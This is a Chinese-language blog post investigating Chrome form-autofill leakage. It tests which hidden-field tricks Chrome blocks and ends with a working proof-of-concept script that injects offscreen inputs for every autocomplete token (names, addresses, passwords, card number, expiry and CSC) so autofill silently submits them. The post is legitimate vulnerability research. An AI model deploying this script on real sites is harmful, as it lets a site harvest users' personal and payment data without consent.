Tuuu Nya's Blog

Chrome中“自动填充”安全性研究

字数统计: 2.1k阅读时长: 10 min
2017/01/17 Share

昨天看到了一篇关于Chrome自动填充安全相关的文章。

文章中提到:“自动填充是个非常方便地浏览器特性,不过该特性在 Chrome 上也会存在一定的信息泄露的风险。Chrome 最近才修复了某个久负盛名漏洞。简单而言,黑客能够利用自动填充窃取你并不想提交给该网站的信息

效果如下图:

2062601358并提供了一段js来演示漏洞:

var autocompletes = ['name', 'honorific-prefix', 'given-name',
  'additional-name', 'family-name', 'honorific-suffix',
  'nickname', 'username', 'new-password',
  'current-password', 'organization-title', 'organization',
  'street-address', 'address-line1', 'address-line2',
  'address-line3', 'address-level4', 'address-level3',
  'address-level2', 'address-level1', 'country',
  'country-name', 'postal-code', 'cc-name', 'cc-given-name',
  'cc-additional-name', 'cc-family-name', 'cc-exp',
  'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type',
  'transaction-currency', 'transaction-amount',
  'language', 'bday', 'bday-day', 'bday-month',
  'bday-year', 'sex', 'url', 'photo', 'tel',
  'tel-country-code', 'tel-national',
  'tel-area-code', 'tel-local', 'tel-local-prefix',
  'tel-local-suffix', 'tel-extension', 'impp'
];

emailField.addEventListener('focus', function() {
  var wrap = autocompletes.reduce(function(wrapper, field) {
    var input = document.createElement('input');

    // Make them not focussable
    input.tabIndex = -1;
    input.autocomplete = field;

    wrapper.appendChild(input);
    return wrapper;
  }, document.createElement('div'));

  // Hide the wrapper
  wrap.classList.add('hidden');
  form.appendChild(wrap);

  // Inject the autocompletes once
  this.removeEventListener('focus', arguments.callee);
});

我在测试以后并没有成功复现该漏洞(因为只提供了js代码,html并没有提供,稍微改了改代码也没有达到想要实现的效果)。

但是通过上述js代码,基本能看出来是什么样的原理。

autocomplete

html中要实现浏览器中的表单自动填充主要依靠于autocomplete属性。

起初autocomplete属性只支持onoff。比如下面代码:

First name:
Last name: 
E-mail: 

如上代码对开启了整个表单的autocomplete却对email关闭了autocomplete,所以我们在点击非email的其他表单即可打开自动填充功能:

2288363214

但在email中却不能展开自动填充功能:

1565109030

后来HTML5标准加入了对autocomplete的支持,并且给autocomplete加入了更多的标示符,以保证让浏览器准确的知道哪些信息对应着表单里的哪些字段。

比如如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Browser autofill security</title>
</head>
<body>
<fieldset>
<legend>My Shop</legend>
<p> <label> 姓名: <input name=rc autocomplete="section-red shipping name"> </label>
<p> <label> 地址: <textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
<p> <label> 城市: <input name=rc autocomplete="section-red shipping address-level2"> </label>
<p> <label> 邮政编码: <input name=rp autocomplete="section-red shipping postal-code"> </label>
</fieldset>
</body>
</html>

我在autocomplete属性中写入了语义化的字符,比如namestreet-address等。

浏览器即可准确的把相应的信息填入到相应的表单中。

2624737967

恶意利用

如果能在用户不知情的情况下,拿到用户浏览器存储的其他信息,即可造成很可怕的后果,那么我们就得让用户看不见我们的输入框就好了。

通过如上demo我们可以发现,当我们选择自动填充以后,chrome不仅会把当前表单字段填充到input中,也会把其他表单字段填充到input中。

type=hidden

那么如果我们写一些typehiddeninput标签,并且加上autocomplete属性,chrome是否会自动补上带有hidden属性的input标签的信息呢呢。

我们使用如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Browser autofill security</title>
</head>
<body>
<form action="" method="post">
<fieldset>
<legend>My Shop</legend>
<p> <label> 姓名: <input type="hidden" name=rc autocomplete="section-red shipping name"> </label>
<p> <label> 地址: <textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
<p> <label> 城市: <input name=rc autocomplete="section-red shipping address-level2"> </label>
<p> <label> 邮政编码: <input name=rp autocomplete="section-red shipping postal-code"> </label>
<p> <label> <input type="submit" value="submit"> </label>
</fieldset>
</form>
</body>
</html>

我们将第一个姓名字段设置为hidden,然后使用自动填充,并且提交表单,查看请求包:

3499433145

发现type属性为hidden的表单并没有获取到,但其他非hiddend的信息都拿到了。

display:none;

既然type设置成hidden浏览器不给信息,那么我们如果让这个input表单让用户看不见,但浏览器认识呢?比如如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Browser autofill security</title>
</head>
<body>
<form action="" method="post">
<fieldset>
<legend>My Shop</legend>
<p> <label> 姓名: <input name=rc autocomplete="section-red shipping name"> </label>
<div style="display:none;">
<p> <label><textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
<p> <label><input name=rc autocomplete="section-red shipping address-level2"> </label>
<p> <label><input name=rp autocomplete="section-red shipping postal-code"> </label>
</div>
<p> <label> <input type="submit" value="submit"> </label>
</fieldset>
</form>
</body>
</html>

我们在表单外层放一个div,让整个div,display:none

2462200021

然而也是不行的:

2771538459

看来chrome已经在这里做了足够的手脚来防护这样的问题。

其实在文章最初提供的js代码也是使用这样的方式来进行攻击的。

看来现在已经被修复了。那么我们就没有其他办法实现了吗?

让用户看不见,浏览器认识的魔法

我们现在要做的无疑是让浏览器认识且没有做防护,并且让用户看不见这个表单,我们的任务就达到了。

这样的办法有很多,比如这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Browser autofill security</title>
</head>
<body>
<form action="" method="post">
<fieldset>
<legend>My Shop</legend>
<p> <label> 姓名: <input name=rc autocomplete="section-red shipping name"> </label>
<div style="margin-left:-1000px;height:0px;">
<p> <label><textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
<p> <label><input name=rc autocomplete="section-red shipping address-level2"> </label>
<p> <label><input name=rp autocomplete="section-red shipping postal-code"> </label>
</div>
<p> <label> <input type="submit" value="submit"> </label>
</fieldset>
</form>
</body>
</html>

效果如下:

893637630

bingo!!

1116604249

实现让用户看不见,浏览器却认识的办法很多很多。

比如上面的,比如脱离文档流,比如使用表单的所有东西设置成白色(让用户肉眼看不见即可),比如使用z-index调到下层,等等等等……

最终POC

var autocompletes = ['name', 'honorific-prefix', 'given-name',
    'additional-name', 'family-name', 'honorific-suffix',
    'nickname', 'username', 'new-password',
    'current-password', 'organization-title', 'organization',
    'street-address', 'address-line1', 'address-line2',
    'address-line3', 'address-level4', 'address-level3',
    'address-level2', 'address-level1', 'country',
    'country-name', 'postal-code', 'cc-name', 'cc-given-name',
    'cc-additional-name', 'cc-family-name', 'cc-exp',
    'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type',
    'transaction-currency', 'transaction-amount',
    'language', 'bday', 'bday-day', 'bday-month',
    'bday-year', 'sex', 'url', 'photo', 'tel',
    'tel-country-code', 'tel-national',
    'tel-area-code', 'tel-local', 'tel-local-prefix',
    'tel-local-suffix', 'tel-extension', 'impp'
    ];
var myform = document.getElementsByTagName('form')[0];
var mydiv = document.createElement('div');
mydiv.style.marginLeft = "-1000px";
mydiv.style.height = "0";
mydiv.style.width = "0";

for (x in autocompletes){
    var tmpInput = document.createElement('input');
    tmpInput.name = autocompletes[x];
    tmpInput.autocomplete = autocompletes[x];
    mydiv.appendChild(tmpInput);
}

myform.appendChild(mydiv);

在线测试地址:http://www.hackersb.cn/poc/autofill/

参考资料

  1. HTML标准 - 表单自动填充
  2. SegmentFault
CATALOG
  1. 1. autocomplete
  2. 2. 恶意利用
    1. 2.0.1. type=hidden
    2. 2.0.2. display:none;
    3. 2.0.3. 让用户看不见,浏览器认识的魔法
  • 3. 最终POC
  • 4. 参考资料